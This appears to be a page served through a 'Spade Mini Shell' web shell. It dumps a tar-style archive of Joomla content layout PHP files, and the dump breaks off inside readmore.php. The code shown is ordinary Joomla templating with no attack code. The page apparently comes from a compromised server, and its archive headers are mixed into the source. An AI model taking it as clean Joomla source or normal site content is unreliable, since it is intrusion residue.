Spade
Mini Shell
index.html000064400000000037151161525050006542 0ustar00<!DOCTYPE
html><title></title>
joomla/content/associations.php000064400000001404151161525060012710
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$items = $displayData;
if (!empty($items)) : ?>
<ul class="item-associations">
<?php foreach ($items as $id => $item) : ?>
<?php if (is_array($item) &&
isset($item['link'])) : ?>
<li>
<?php echo $item['link']; ?>
</li>
<?php elseif (isset($item->link)) : ?>
<li>
<?php echo $item->link; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
<?php endif; ?>
joomla/content/blog_style_default_item_title.php000064400000003660151161525060016305
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;
// Create a shortcut for params.
$params = $displayData->params;
$canEdit = $displayData->params->get('access-edit');
$currentDate = Factory::getDate()->format('Y-m-d H:i:s');
$link = RouteHelper::getArticleRoute($displayData->slug,
$displayData->catid, $displayData->language);
?>
<?php if ($displayData->state == 0 ||
$params->get('show_title') ||
($params->get('show_author') &&
!empty($displayData->author))) : ?>
<div class="page-header">
<?php if ($params->get('show_title')) : ?>
<h2>
<?php if ($params->get('link_titles')
&& ($params->get('access-view') ||
$params->get('show_noauth', '0') == '1'))
: ?>
<a href="<?php echo Route::_($link);
?>">
<?php echo
$this->escape($displayData->title); ?>
</a>
<?php else : ?>
<?php echo $this->escape($displayData->title);
?>
<?php endif; ?>
</h2>
<?php endif; ?>
<?php if ($displayData->state == 0) : ?>
<span class="badge bg-warning"><?php echo
Text::_('JUNPUBLISHED'); ?></span>
<?php endif; ?>
<?php if ($displayData->publish_up > $currentDate) : ?>
<span class="badge bg-warning"><?php echo
Text::_('JNOTPUBLISHEDYET'); ?></span>
<?php endif; ?>
<?php if ($displayData->publish_down !== null &&
$displayData->publish_down < $currentDate) : ?>
<span class="badge bg-warning"><?php echo
Text::_('JEXPIRED'); ?></span>
<?php endif; ?>
</div>
<?php endif; ?>
joomla/content/blog_style_default_links.php000064400000001025151161525060015257
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<ol class="nav nav-tabs nav-stacked">
<?php foreach ($displayData->get('link_items') as $item) :
?>
<li>
<?php echo JHtml::_('link',
JRoute::_(ContentHelperRoute::getArticleRoute($item->slug,
$item->catid, $item->language)), $item->title); ?>
</li>
<?php endforeach; ?>
</ol>
joomla/content/categories_default.php000064400000002463151161525060014050
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
?>
<?php if
($displayData->params->get('show_page_heading')) : ?>
<h1>
<?php echo
$displayData->escape($displayData->params->get('page_heading'));
?>
</h1>
<?php endif; ?>
<?php if
($displayData->params->get('show_base_description')) :
?>
<?php // If there is a description in the menu parameters use that;
?>
<?php if
($displayData->params->get('categories_description')) :
?>
<div class="category-desc base-desc">
<?php echo HTMLHelper::_('content.prepare',
$displayData->params->get('categories_description'),
'', $displayData->get('extension') .
'.categories'); ?>
</div>
<?php else : ?>
<?php // Otherwise get one from the database if it exists. ?>
<?php if ($displayData->parent->description) : ?>
<div class="category-desc base-desc">
<?php echo HTMLHelper::_('content.prepare',
$displayData->parent->description, '',
$displayData->parent->extension . '.categories'); ?>
</div>
<?php endif; ?>
<?php endif; ?>
<?php endif; ?>
joomla/content/categories_default_items.php000064400000001271151161525060015245
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$class = ' class="first"';
JHtml::_('bootstrap.tooltip');
$item = $displayData->item;
$items = $displayData->get('items');
$params = $displayData->params;
$extension = $displayData->get('extension');
$className = substr($extension, 4);
// This will work for the core components but not necessarily for other
components
// that may have different pluralisation rules.
if (substr($className, -1) === 's')
{
$className = rtrim($className, 's');
}
joomla/content/category_default.php000064400000010135151161525060013533
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
/**
* Note that this layout opens a div with the page class suffix. If you do
not use the category children
* layout you need to close this div either by overriding this file or in
your main layout.
*/
$params = $displayData->params;
$category = $displayData->get('category');
$extension = $category->extension;
$canEdit = $params->get('access-edit');
$className = substr($extension, 4);
$htag = $params->get('show_page_heading') ?
'h2' : 'h1';
$app = Factory::getApplication();
$category->text = $category->description;
$app->triggerEvent('onContentPrepare', [$extension .
'.categories', &$category, &$params, 0]);
$category->description = $category->text;
$results = $app->triggerEvent('onContentAfterTitle',
[$extension . '.categories', &$category, &$params, 0]);
$afterDisplayTitle = trim(implode("\n", $results));
$results = $app->triggerEvent('onContentBeforeDisplay',
[$extension . '.categories', &$category, &$params, 0]);
$beforeDisplayContent = trim(implode("\n", $results));
$results = $app->triggerEvent('onContentAfterDisplay',
[$extension . '.categories', &$category, &$params, 0]);
$afterDisplayContent = trim(implode("\n", $results));
/**
* This will work for the core components but not necessarily for other
components
* that may have different pluralisation rules.
*/
if (substr($className, -1) === 's') {
$className = rtrim($className, 's');
}
$tagsData = $category->tags->itemTags;
?>
<div class="<?php echo $className . '-category' .
$displayData->pageclass_sfx; ?>">
<?php if ($params->get('show_page_heading')) : ?>
<h1>
<?php echo
$displayData->escape($params->get('page_heading')); ?>
</h1>
<?php endif; ?>
<?php if ($params->get('show_category_title', 1)) :
?>
<<?php echo $htag; ?>>
<?php echo HTMLHelper::_('content.prepare',
$category->title, '', $extension .
'.category.title'); ?>
</<?php echo $htag; ?>>
<?php endif; ?>
<?php echo $afterDisplayTitle; ?>
<?php if ($params->get('show_cat_tags', 1)) : ?>
<?php echo LayoutHelper::render('joomla.content.tags',
$tagsData); ?>
<?php endif; ?>
<?php if ($beforeDisplayContent || $afterDisplayContent ||
$params->get('show_description', 1) ||
$params->def('show_description_image', 1)) : ?>
<div class="category-desc">
<?php if
($params->get('show_description_image') &&
$category->getParams()->get('image')) : ?>
<?php echo LayoutHelper::render(
'joomla.html.image',
[
'src' =>
$category->getParams()->get('image'),
'alt' =>
empty($category->getParams()->get('image_alt')) &&
empty($category->getParams()->get('image_alt_empty')) ?
false : $category->getParams()->get('image_alt'),
]
); ?>
<?php endif; ?>
<?php echo $beforeDisplayContent; ?>
<?php if ($params->get('show_description')
&& $category->description) : ?>
<?php echo HTMLHelper::_('content.prepare',
$category->description, '', $extension .
'.category.description'); ?>
<?php endif; ?>
<?php echo $afterDisplayContent; ?>
</div>
<?php endif; ?>
<?php echo
$displayData->loadTemplate($displayData->subtemplatename); ?>
<?php if ($displayData->maxLevel != 0 &&
$displayData->get('children')) : ?>
<div class="cat-children">
<?php if
($params->get('show_category_heading_title_text', 1) == 1) :
?>
<h3>
<?php echo
Text::_('JGLOBAL_SUBCATEGORIES'); ?>
</h3>
<?php endif; ?>
<?php echo
$displayData->loadTemplate('children'); ?>
</div>
<?php endif; ?>
</div>
joomla/content/full_image.php000064400000002130151161525060012312
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\LayoutHelper;
$params = $displayData->params;
$images = json_decode($displayData->images);
if (empty($images->image_fulltext)) {
return;
}
$imgclass = empty($images->float_fulltext) ?
$params->get('float_fulltext') : $images->float_fulltext;
$layoutAttr = [
'src' => $images->image_fulltext,
'alt' => empty($images->image_fulltext_alt)
&& empty($images->image_fulltext_alt_empty) ? false :
$images->image_fulltext_alt,
];
?>
<figure class="<?php echo $this->escape($imgclass); ?>
item-image">
<?php echo LayoutHelper::render('joomla.html.image',
$layoutAttr); ?>
<?php if (isset($images->image_fulltext_caption) &&
$images->image_fulltext_caption !== '') : ?>
<figcaption class="caption"><?php echo
$this->escape($images->image_fulltext_caption);
?></figcaption>
<?php endif; ?>
</figure>
joomla/content/icons/create.php000064400000001107151161525060012567
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @deprecated 4.3 will be removed in 6.0
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
$params = $displayData['params'];
?>
<?php if ($params->get('show_icons')) : ?>
<span class="icon-plus icon-fw"
aria-hidden="true"></span>
<?php echo Text::_('JNEW'); ?>
<?php else : ?>
<?php echo Text::_('JNEW') . ' '; ?>
<?php endif; ?>
joomla/content/icons/edit.php000064400000001724151161525060012256
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
$article = $displayData['article'];
$tooltip = $displayData['tooltip'];
$nowDate = strtotime(Factory::getDate());
$icon = $article->state ? 'edit' : 'eye-slash';
$currentDate = Factory::getDate()->format('Y-m-d H:i:s');
$isUnpublished = ($article->publish_up > $currentDate)
|| !is_null($article->publish_down) &&
($article->publish_down < $currentDate);
if ($isUnpublished) {
$icon = 'eye-slash';
}
$aria_described = 'editarticle-' . (int) $article->id;
?>
<span class="icon-<?php echo $icon; ?>"
aria-hidden="true"></span>
<?php echo Text::_('JGLOBAL_EDIT'); ?>
<div role="tooltip" id="<?php echo $aria_described;
?>">
<?php echo $tooltip; ?>
</div>
joomla/content/icons/edit_lock.php000064400000001641151161525060013264
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
if (isset($displayData['ariaDescribed'])) {
$aria_described = $displayData['ariaDescribed'];
} elseif (isset($displayData['article'])) {
$article = $displayData['article'];
$aria_described = 'editarticle-' . (int) $article->id;
} elseif (isset($displayData['contact'])) {
$contact = $displayData['contact'];
$aria_described = 'editcontact-' . (int) $contact->id;
}
$tooltip = $displayData['tooltip'];
?>
<span class="hasTooltip icon-lock"
aria-hidden="true"></span>
<?php echo Text::_('JLIB_HTML_CHECKED_OUT'); ?>
<div role="tooltip" id="<?php echo $aria_described;
?>">
<?php echo $tooltip; ?>
</div>
joomla/content/icons/email.php000064400000001273151161525060012417
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php echo JHtml::_('image',
'system/emailButton.png', JText::_('JGLOBAL_EMAIL'),
null, true); ?>
<?php else : ?>
<span class="icon-envelope"
aria-hidden="true"></span>
<?php echo JText::_('JGLOBAL_EMAIL'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JGLOBAL_EMAIL'); ?>
<?php endif; ?>
joomla/content/icons/print_popup.php000064400000001422151161525060013703
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php // Checks template image directory for image, if none found
default are loaded ?>
<?php echo JHtml::_('image',
'system/printButton.png', JText::_('JGLOBAL_PRINT'),
null, true); ?>
<?php else : ?>
<span class="icon-print"
aria-hidden="true"></span>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
joomla/content/icons/print_screen.php000064400000001422151161525060014017
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php // Checks template image directory for image, if none found
default are loaded ?>
<?php echo JHtml::_('image',
'system/printButton.png', JText::_('JGLOBAL_PRINT'),
null, true); ?>
<?php else : ?>
<span class="icon-print"
aria-hidden="true"></span>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
joomla/content/icons.php000064400000001211151161525060011320
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
$canEdit =
$displayData['params']->get('access-edit');
$articleId = $displayData['item']->id;
?>
<?php if ($canEdit) : ?>
<div class="icons">
<div class="float-end">
<div>
<?php echo HTMLHelper::_('icon.edit',
$displayData['item'], $displayData['params']); ?>
</div>
</div>
</div>
<?php endif; ?>
joomla/content/info_block/associations.php000064400000003117151161525060015020
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
?>
<?php if (!empty($displayData['item']->associations)) :
?>
<?php $associations =
$displayData['item']->associations; ?>
<dd class="association">
<span class="icon-globe icon-fw"
aria-hidden="true"></span>
<?php echo Text::_('JASSOCIATIONS'); ?>
<?php foreach ($associations as $association) : ?>
<?php if
($displayData['item']->params->get('flags', 1)
&& $association['language']->image) : ?>
<?php $flag = HTMLHelper::_('image',
'mod_languages/' . $association['language']->image .
'.gif', $association['language']->title_native,
['title' =>
$association['language']->title_native], true); ?>
<a href="<?php echo
Route::_($association['item']); ?>"><?php echo
$flag; ?></a>
<?php else : ?>
<?php $class = 'btn btn-secondary btn-sm btn-' .
strtolower($association['language']->lang_code); ?>
<a class="<?php echo $class; ?>"
title="<?php echo
$association['language']->title_native; ?>"
href="<?php echo Route::_($association['item']);
?>"><?php echo
$association['language']->lang_code; ?>
<span class="visually-hidden"><?php echo
$association['language']->title_native; ?></span>
</a>
<?php endif; ?>
<?php endforeach; ?>
</dd>
<?php endif; ?>
joomla/content/info_block/author.php000064400000001632151161525060013623
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<dd class="createdby">
<span class="icon-user icon-fw"
aria-hidden="true"></span>
<?php $author = ($displayData['item']->created_by_alias
?: $displayData['item']->author); ?>
<?php $author = '<span>' . $author .
'</span>'; ?>
<?php if (!empty($displayData['item']->contact_link)
&&
$displayData['params']->get('link_author') == true)
: ?>
<?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY',
HTMLHelper::_('link',
$displayData['item']->contact_link, $author)); ?>
<?php else : ?>
<?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY',
$author); ?>
<?php endif; ?>
</dd>
joomla/content/info_block/block.php000064400000000716151161525060013415
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLog::add('The layout joomla.content.info_block.block is deprecated,
use joomla.content.info_block instead.', JLog::WARNING,
'deprecated');
echo JLayoutHelper::render('joomla.content.info_block',
$displayData);
joomla/content/info_block/category.php000064400000002151151161525060014133
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;
?>
<dd class="category-name">
<?php echo LayoutHelper::render('joomla.icon.iconclass',
['icon' => 'icon-folder-open icon-fw']); ?>
<?php $title =
$this->escape($displayData['item']->category_title); ?>
<?php if
($displayData['params']->get('link_category')
&& !empty($displayData['item']->catid)) : ?>
<?php $url = '<a href="' . Route::_(
RouteHelper::getCategoryRoute($displayData['item']->catid,
$displayData['item']->category_language)
)
. '">' . $title . '</a>';
?>
<?php echo Text::sprintf('COM_CONTENT_CATEGORY',
$url); ?>
<?php else : ?>
<?php echo Text::sprintf('COM_CONTENT_CATEGORY',
'<span>' . $title . '</span>'); ?>
<?php endif; ?>
</dd>
joomla/content/info_block/create_date.php000064400000001234151161525060014557
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<dd class="create">
<span class="icon-calendar icon-fw"
aria-hidden="true"></span>
<time datetime="<?php echo HTMLHelper::_('date',
$displayData['item']->created, 'c'); ?>">
<?php echo
Text::sprintf('COM_CONTENT_CREATED_DATE_ON',
HTMLHelper::_('date', $displayData['item']->created,
Text::_('DATE_FORMAT_LC3'))); ?>
</time>
</dd>
joomla/content/info_block/hits.php000064400000001033151161525060013263
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
?>
<dd class="hits">
<span class="icon-eye icon-fw"
aria-hidden="true"></span>
<meta content="UserPageVisits:<?php echo
$displayData['item']->hits; ?>">
<?php echo Text::sprintf('COM_CONTENT_ARTICLE_HITS',
$displayData['item']->hits); ?>
</dd>
joomla/content/info_block/modify_date.php000064400000001235151161525060014604
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<dd class="modified">
<span class="icon-calendar icon-fw"
aria-hidden="true"></span>
<time datetime="<?php echo HTMLHelper::_('date',
$displayData['item']->modified, 'c');
?>">
<?php echo Text::sprintf('COM_CONTENT_LAST_UPDATED',
HTMLHelper::_('date',
$displayData['item']->modified,
Text::_('DATE_FORMAT_LC3'))); ?>
</time>
</dd>
joomla/content/info_block/parent_category.php000064400000002162151161525060015506
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;
?>
<dd class="parent-category-name">
<?php echo LayoutHelper::render('joomla.icon.iconclass',
['icon' => 'icon-folder icon-fw']); ?>
<?php $title =
$this->escape($displayData['item']->parent_title); ?>
<?php if
($displayData['params']->get('link_parent_category')
&& !empty($displayData['item']->parent_id)) : ?>
<?php $url = '<a href="' . Route::_(
RouteHelper::getCategoryRoute($displayData['item']->parent_id,
$displayData['item']->parent_language)
)
. '">' . $title . '</a>';
?>
<?php echo Text::sprintf('COM_CONTENT_PARENT', $url);
?>
<?php else : ?>
<?php echo Text::sprintf('COM_CONTENT_PARENT',
'<span>' . $title . '</span>'); ?>
<?php endif; ?>
</dd>
joomla/content/info_block/publish_date.php000064400000001247151161525060014766
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<dd class="published">
<span class="icon-calendar icon-fw"
aria-hidden="true"></span>
<time datetime="<?php echo HTMLHelper::_('date',
$displayData['item']->publish_up, 'c');
?>">
<?php echo
Text::sprintf('COM_CONTENT_PUBLISHED_DATE_ON',
HTMLHelper::_('date',
$displayData['item']->publish_up,
Text::_('DATE_FORMAT_LC3'))); ?>
</time>
</dd>
joomla/content/info_block.php000064400000004675151161525060012333
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
$blockPosition =
$displayData['params']->get('info_block_position',
0);
?>
<dl class="article-info text-muted">
<?php
if (
$displayData['position'] === 'above' &&
($blockPosition == 0 || $blockPosition == 2)
|| $displayData['position'] === 'below'
&& ($blockPosition == 1)
) : ?>
<dt class="article-info-term">
<?php if
($displayData['params']->get('info_block_show_title',
1)) : ?>
<?php echo
Text::_('COM_CONTENT_ARTICLE_INFO'); ?>
<?php endif; ?>
</dt>
<?php if
($displayData['params']->get('show_author')
&& !empty($displayData['item']->author)) : ?>
<?php echo $this->sublayout('author',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_parent_category')
&& !empty($displayData['item']->parent_id)) : ?>
<?php echo $this->sublayout('parent_category',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_category')) :
?>
<?php echo $this->sublayout('category',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_associations')) :
?>
<?php echo $this->sublayout('associations',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_publish_date')) :
?>
<?php echo $this->sublayout('publish_date',
$displayData); ?>
<?php endif; ?>
<?php endif; ?>
<?php
if (
$displayData['position'] === 'above' &&
($blockPosition == 0)
|| $displayData['position'] === 'below'
&& ($blockPosition == 1 || $blockPosition == 2)
) : ?>
<?php if
($displayData['params']->get('show_create_date')) :
?>
<?php echo $this->sublayout('create_date',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_modify_date')) :
?>
<?php echo $this->sublayout('modify_date',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_hits')) : ?>
<?php echo $this->sublayout('hits',
$displayData); ?>
<?php endif; ?>
<?php endif; ?>
</dl>
joomla/content/intro_image.php000064400000003120151161525060012503
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;
$params = $displayData->params;
$images = json_decode($displayData->images);
if (empty($images->image_intro)) {
return;
}
$imgclass = empty($images->float_intro) ?
$params->get('float_intro') : $images->float_intro;
$layoutAttr = [
'src' => $images->image_intro,
'alt' => empty($images->image_intro_alt) &&
empty($images->image_intro_alt_empty) ? false :
$images->image_intro_alt,
];
?>
<figure class="<?php echo $this->escape($imgclass); ?>
item-image">
<?php if ($params->get('link_intro_image') &&
($params->get('access-view') ||
$params->get('show_noauth', '0') == '1'))
: ?>
<a href="<?php echo
Route::_(RouteHelper::getArticleRoute($displayData->slug,
$displayData->catid, $displayData->language)); ?>"
title="<?php echo $this->escape($displayData->title);
?>">
<?php echo
LayoutHelper::render('joomla.html.image', $layoutAttr); ?>
</a>
<?php else : ?>
<?php echo LayoutHelper::render('joomla.html.image',
$layoutAttr); ?>
<?php endif; ?>
<?php if (isset($images->image_intro_caption) &&
$images->image_intro_caption !== '') : ?>
<figcaption class="caption"><?php echo
$this->escape($images->image_intro_caption); ?></figcaption>
<?php endif; ?>
</figure>
joomla/content/language.php000064400000001403151161525060011773
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
$item = $displayData;
if ($item->language === '*') {
echo Text::alt('JALL', 'language');
} elseif ($item->language_image) {
echo HTMLHelper::_('image', 'mod_languages/' .
$item->language_image . '.gif', '',
['class' => 'me-1'], true) .
htmlspecialchars($item->language_title, ENT_COMPAT, 'UTF-8');
} elseif ($item->language_title) {
echo htmlspecialchars($item->language_title, ENT_COMPAT,
'UTF-8');
} else {
echo Text::_('JUNDEFINED');
}
joomla/content/options_default.php000064400000004101151161525060013405
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\Language\Text;
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
?>
<fieldset class="<?php echo !empty($displayData->formclass) ?
$displayData->formclass : ''; ?>">
<legend><?php echo $displayData->name; ?></legend>
<?php if (!empty($displayData->description)) : ?>
<div class="alert alert-info">
<span class="icon-info-circle"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('INFO'); ?></span>
<?php echo $displayData->description; ?>
</div>
<?php endif; ?>
<?php $fieldsnames = explode(',',
$displayData->fieldsname); ?>
<div class="form-grid">
<?php foreach ($fieldsnames as $fieldname) : ?>
<?php foreach
($displayData->form->getFieldset($fieldname) as $field) : ?>
<?php $datashowon = ''; ?>
<?php $groupClass = $field->type ===
'Spacer' ? ' field-spacer' : ''; ?>
<?php if ($field->showon) : ?>
<?php $wa->useScript('showon'); ?>
<?php $datashowon = ' data-showon=\''
. json_encode(FormHelper::parseShowOnConditions($field->showon,
$field->formControl, $field->group)) . '\''; ?>
<?php endif; ?>
<?php if (isset($displayData->showlabel)) : ?>
<div class="control-group<?php echo
$groupClass; ?>"<?php echo $datashowon; ?>>
<div class="controls"><?php echo
$field->input; ?></div>
</div>
<?php else : ?>
<?php echo $field->renderField(); ?>
<?php endif; ?>
<?php endforeach; ?>
<?php endforeach; ?>
</div>
</fieldset>
joomla/content/readmore.php000064400000004545151161525060012020
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
$params = $displayData['params'];
$item = $displayData['item'];
$direction = Factory::getLanguage()->isRtl() ? 'left' :
'right';
?>
<p class="readmore">
<?php if (!$params->get('access-view')) : ?>
<a class="btn btn-secondary" href="<?php echo
$displayData['link']; ?>" aria-label="<?php echo
Text::_('JGLOBAL_REGISTER_TO_READ_MORE') . ' ' .
$this->escape($item->title); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo
Text::_('JGLOBAL_REGISTER_TO_READ_MORE'); ?>
</a>
<?php elseif ($readmore = $item->alternative_readmore) : ?>
<a class="btn btn-secondary" href="<?php echo
$displayData['link']; ?>" aria-label="<?php echo
$this->escape($readmore . ' ' . $item->title);
?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo $readmore; ?>
<?php if ($params->get('show_readmore_title',
0) != 0) : ?>
<?php echo HTMLHelper::_('string.truncate',
$item->title, $params->get('readmore_limit')); ?>
<?php endif; ?>
</a>
<?php elseif ($params->get('show_readmore_title', 0) ==
0) : ?>
